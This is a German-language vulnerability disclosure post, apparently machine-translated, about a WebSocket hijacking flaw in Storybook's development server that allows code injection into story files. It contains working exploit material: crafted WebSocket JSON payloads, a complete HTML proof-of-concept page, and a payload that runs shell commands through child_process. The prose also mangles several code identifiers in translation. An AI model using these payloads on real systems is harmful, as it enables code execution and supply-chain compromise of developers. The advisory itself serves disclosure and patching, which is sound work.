Aikido , unser KI-Pentest-Produkt, hat eine WebSocket-Hijacking-Sicherheitslücke im Entwicklungs-Server von Storybook entdeckt, die zu persistenten XSS-Angriffen, der Ausführung von Remote-Code und im schlimmsten Fall zu einer Kompromittierung der Lieferkette führen kann. Der WebSocket-Server von Storybook verfügt über keine Authentifizierung oder Zugriffskontrolle. Wenn der Entwicklungsserver also öffentlich zugänglich ist, kann ein Angreifer diese Schwachstelle ohne jegliche Interaktion des Benutzers ausnutzen. In der gängigeren lokalen Konfiguration muss ein Entwickler lediglich die falsche Website besuchen, während Storybook ausgeführt wird.
Hinweis: GHSA-mjf5-7g4m-gx5w
CVE: CVE-2026-27148
CVSS: 8,9 (hoch)
Affected versions: Storybook >= 8.1.0 and < 10.2.10
Gepatchte Versionen: 7.6.23, 8.6.17, 9.1.19, 10.2.10
Die Schwachstelle
Storybook ist ein Open-Source-Frontend-Workshop zum Erstellen und Testen von UI-Komponenten isoliert außerhalb Ihrer Hauptanwendung. Der Entwicklungsserver von Storybook nutzt WebSockets, um seine Funktionen zum Erstellen und Bearbeiten von Stories zu unterstützen. Der WebSocket-Endpunkt unter /storybook-server-kanal akzeptiert zwei Arten von Nachrichten, die in das Dateisystem schreiben: NeueStorydateiAnfordern und SpeichernStoryAnfrageBeide erstellen oder ändern Story-Quelldateien auf der Festplatte.
Das Problem: Der WebSocket-Server verfügt über keinerlei Zugriffskontrolle. Es gibt keine Authentifizierung, keine Sitzungsvalidierung und keine Origin Header-Prüfung bei eingehenden Verbindungen. Wenn der Entwicklungs-Server erreichbar ist, kann sich jeder verbinden und Dateien auf die Festplatte schreiben.
Das Problem besteht darin, dass der WebSocket-Server den Origin-Header eingehender Verbindungen nicht validiert. Jede Website kann einen WebSocket zu ws://localhost:6006/storybook-server-channel und beginnen Sie mit dem Versenden von Nachrichten. Keine Authentifizierung, keine Herkunftsprüfung, keine Fragen gestellt.
Dadurch entstehen zwei unterschiedliche Angriffsszenarien. Wenn der Storybook-Entwicklungsserver öffentlich zugänglich ist (eine gängige Konfiguration für Designprüfungen oder Stakeholder-Demos), kann sich jeder nicht authentifizierte Angreifer im Internet direkt mit dem WebSocket-Endpunkt verbinden und diesen ohne jegliche Benutzerinteraktion ausnutzen. Wenn der Entwicklungsserver lokal ausgeführt wird, muss der Angreifer den Entwickler dazu bringen, eine bösartige Webseite aufzurufen, die dann eine Cross-Origin-WebSocket-Verbindung zu ws://localhost:6006/storybook-server-channel in ihrem Namen.
Der anfällige Code befindet sich in zwei Dateien:
create-new-story-channel.ts- GriffeNeueStorydateiAnfordernsave-story.ts- GriffeSpeichernStoryAnfrage
Beide delegieren an get-new-story-file.ts die sich ableitet basenameOhneErweiterung vom Benutzer bereitgestellt KomponentenDateipfad und leitet es ohne Bereinigung weiter an Typescript.ts, wo es direkt in den generierten Quellcode interpoliert wird.
Injektionsstelle: get-new-story-file.ts
const base = basename(componentFilePath); //„Button”;alert(document.domain);var a='.tsx"
const extension = extname(componentFilePath); // ".tsx"
const basenameWithoutExtension = base.replace(extension, ''); // „Button';alert(document.domain);var a='"Spülbecken: Typescript.ts
const importName = data.componentIsDefaultExport
? await getComponentVariableName(data.basenameWithoutExtension)
: data.componentExportName; // ← user-controlled, unvalidated
...
const importStatement = data.componentIsDefaultExport
? `import ${importName} from './${data.basenameWithoutExtension}'`
: `import { ${importName} } from './${data.basenameWithoutExtension}'`; // ← injected here Datei auf Festplatte geschrieben:
import type { Meta, StoryObj } from '@storybook/react-vite';
import { Button } from './Button-INJECTION_POINT-'; // ← injected here
const meta = {
component: Button,
} satisfies Meta<typeof Button>;
export default meta;
type Story = StoryObj<typeof meta>;
export const Default: Story = {};Der Angriff! Von der bösartigen Website zur Code-Injektion
Bei öffentlich zugänglichen Instanzen ist die Ausnutzung trivial: Verbinden Sie sich mit dem WebSocket-Endpunkt und senden Sie eine Nachricht. Es ist keine PoC-Seite erforderlich, kein Social Engineering, keine Benutzerinteraktion. Dies kann vollständig automatisiert und skaliert werden, um im Internet nach exponierten Storybook-Entwicklungsinstanzen zu suchen.
Bei lokalen Instanzen erfordert der Angriff einen zusätzlichen Schritt: Ein Entwickler führt Garn-Geschichtenbuch lokal. Sie besuchen eine bösartige Webseite, vielleicht einen Link in einem Slack-Kanal, vielleicht eine kompromittierte Dokumentationsseite. Diese Seite öffnet unbemerkt eine WebSocket-Verbindung zu localhost:6006 und sendet eine manipulierte Nachricht:
{
"type": "createNewStoryfileRequest",
"args": [{
"id": "xss_poc",
"payload": {
"componentFilePath": "src/stories/Button';alert(document.domain);var a='.tsx",
"componentExportName": "Button",
"componentIsDefaultExport": false,
"componentExportCount": 1
}
}],
"from": "preview"
}
Die injizierte KomponentenDateipfad bricht aus dem String-Kontext in der generierten Story-Datei aus. Storybook schreibt eine neue .Geschichten.ts Datei auf die Festplatte, in die das JavaScript des Angreifers eingebettet ist. Der Entwickler sieht nichts. Kein Popup, kein Bestätigungsdialog, keine Browserwarnung.
Datei auf Festplatte geschrieben:
import type { Meta, StoryObj } from '@storybook/react-vite';
import { Button } from './Button';alert(document.domain);var a= ''; // ← injected here
const meta = {
component: Button,
} satisfies Meta<typeof Button>;
export default meta;
type Story = StoryObj<typeof meta>;
export const Default: Story = {};Der KomponentenDateipfad Das Feld ist der einfachste Injektionsvektor, aber KomponenteExportName fließt in dieselben Vorlagenpositionen, wenn KomponenteIstStandardExport ist falsch, einschließlich der Komponente: Eigenschaft und Typ des Ausdrucks im Meta-Block.
Der vollständige PoC ist nur eine einfache HTML-Seite:
<!DOCTYPE html>
<html>
<head><title>PoC</title></head>
<body>
<h1>Loading...</h1>
<script>
const ws = new WebSocket("ws://localhost:6006/storybook-server-channel");
ws.onopen = () => {
ws.send(JSON.stringify({
type: "createNewStoryfileRequest",
args: [{
id: "xss_poc",
payload: {
componentFilePath: "src/stories/Button';alert(document.domain);var a='.tsx",
componentExportName: "Button",
componentIsDefaultExport: false,
componentExportCount: 1
}
}],
from: "preview"
}));
};
</script>
</body>
</html>
Das war's. Besuchen Sie die Seite, und eine vergiftete Story-Datei befindet sich nun auf dem Rechner des Entwicklers.
Eskalation! Von XSS zu RCE
Allein schon das XSS ist besorgniserregend, die Nutzlast bleibt in den Quelldateien erhalten und wird in jedem Browser ausgeführt, der das Storybook rendert. Aber es kommt noch schlimmer.
Viele Teams führen ihre Storybook-Stories als Teil ihrer Testsuite mit portablen Stories aus. Wenn diese Tests in einer Node.js-Umgebung laufen (z. B. Vitest mit JSDOM statt einem echten Browser), wird das eingefügte JavaScript serverseitig mit vollem Zugriff auf das System ausgeführt:
{
"type": "createNewStoryfileRequest",
"args": [{
"id": "rce_stealth",
"payload": {
"componentFilePath": "src/stories/Button';(typeof process!=='undefined'&&console.log('RCE_PROOF:',require('child_process').execSync('id').toString()));var a='.tsx",
"componentExportName": "Button",
"componentIsDefaultExport": false,
"componentExportCount": 1
}
}],
"from": "preview"
}
Wann npx vitest läuft, unabhängig davon, ob es manuell, durch eine VS Code-Erweiterung beim Speichern der Datei oder in einer CI/CD-Pipeline ausgelöst wird, lautet die Ausgabe:
RCE_PROOF: uid=501(robbe) gid=20(Mitarbeiter) ...An diesem Punkt ist das Spiel vorbei. Der Angreifer kann Code in der Entwicklerumgebung oder CI-Pipeline ausführen und hat Zugriff auf Umgebungsvariablen, Anmeldedaten, das Dateisystem und das Netzwerk.
Der Blickwinkel der Lieferkette
Was dies besonders heimtückisch macht, ist das Persistenzmodell. Die Nutzlast wird direkt in die Quelldateien geschrieben. Wenn der Entwickler die neue Story-Datei nicht bemerkt, wird sie in die Versionskontrolle übernommen. Von dort aus:
- Andere Entwickler ziehen den vergifteten Code und führen ihn lokal aus.
- CI/CD-Pipelines führen die Tests durch und führen die Nutzlast serverseitig aus.
- Wenn das Storybook als Dokumentation eingesetzt wird (ein gängiges Muster), betrifft das XSS alle, die es ansehen.
- Gemeinsam genutzte Komponentenbibliotheken übertragen die Nutzlast an jedes nachgelagerte Projekt, das sie verwendet.
Eine WebSocket-Nachricht, die gesendet wurde, während ein Entwickler zufällig Storybook laufen hatte, wirkt sich auf den gesamten Entwicklungslebenszyklus aus.
Browser-Schutzmaßnahmen (oder vielmehr deren Fehlen)
Aktuelle Versionen von Chrome bieten einige Schutzmaßnahmen gegen Cross-Origin-WebSocket-Verbindungen zu localhost (siehe https://chromestatus.com/feature/5197681148428288). Firefox bietet diese Schutzmaßnahmen nicht. Wenn also auch nur ein einziger Firefox-Nutzer in Ihrem Team Storybook verwendet, ist er ein potenzielles Angriffsziel.
Für öffentlich zugängliche Entwicklungs-Server spielt all dies keine Rolle. Der Angreifer verbindet sich direkt mit dem WebSocket-Endpunkt, ohne einen Browser zu verwenden. Es gibt keine Herkunftsprüfung, kein CORS und keinerlei Browser-Schutzmaßnahmen.
Behebung
Aktualisieren Sie Storybook auf eine der gepatchten Versionen: 7.6.23, 8.6.17, 9.1.19 oder 10.2.10. Der Fix fügt dem WebSocket-Server eine Ursprungsvalidierung hinzu. In späteren Versionen hat Storybook außerdem eine Bereinigung für Storynamen hinzugefügt, um Injektionsangriffe zu verhindern.
Beachten Sie, dass die anfällige Funktion zwar in Version 8.1 eingeführt wurde, die Patches jedoch vorsichtshalber auf Version 7.x zurückportiert wurden.
Zeitplan
- 6. Februar 2026: Identifiziert durch Aikido (KI-Pentest-Agent)
- 6. Februar 2026: Offenlegung gegenüber dem Sicherheitsteam von Storybook
- 25. Februar 2026: In Storybook 7.6.23, 8.6.17, 9.1.19, 10.2.10 gepatcht
- 25. Februar 2026: GHSA-mjf5-7g4m-gx5w veröffentlicht

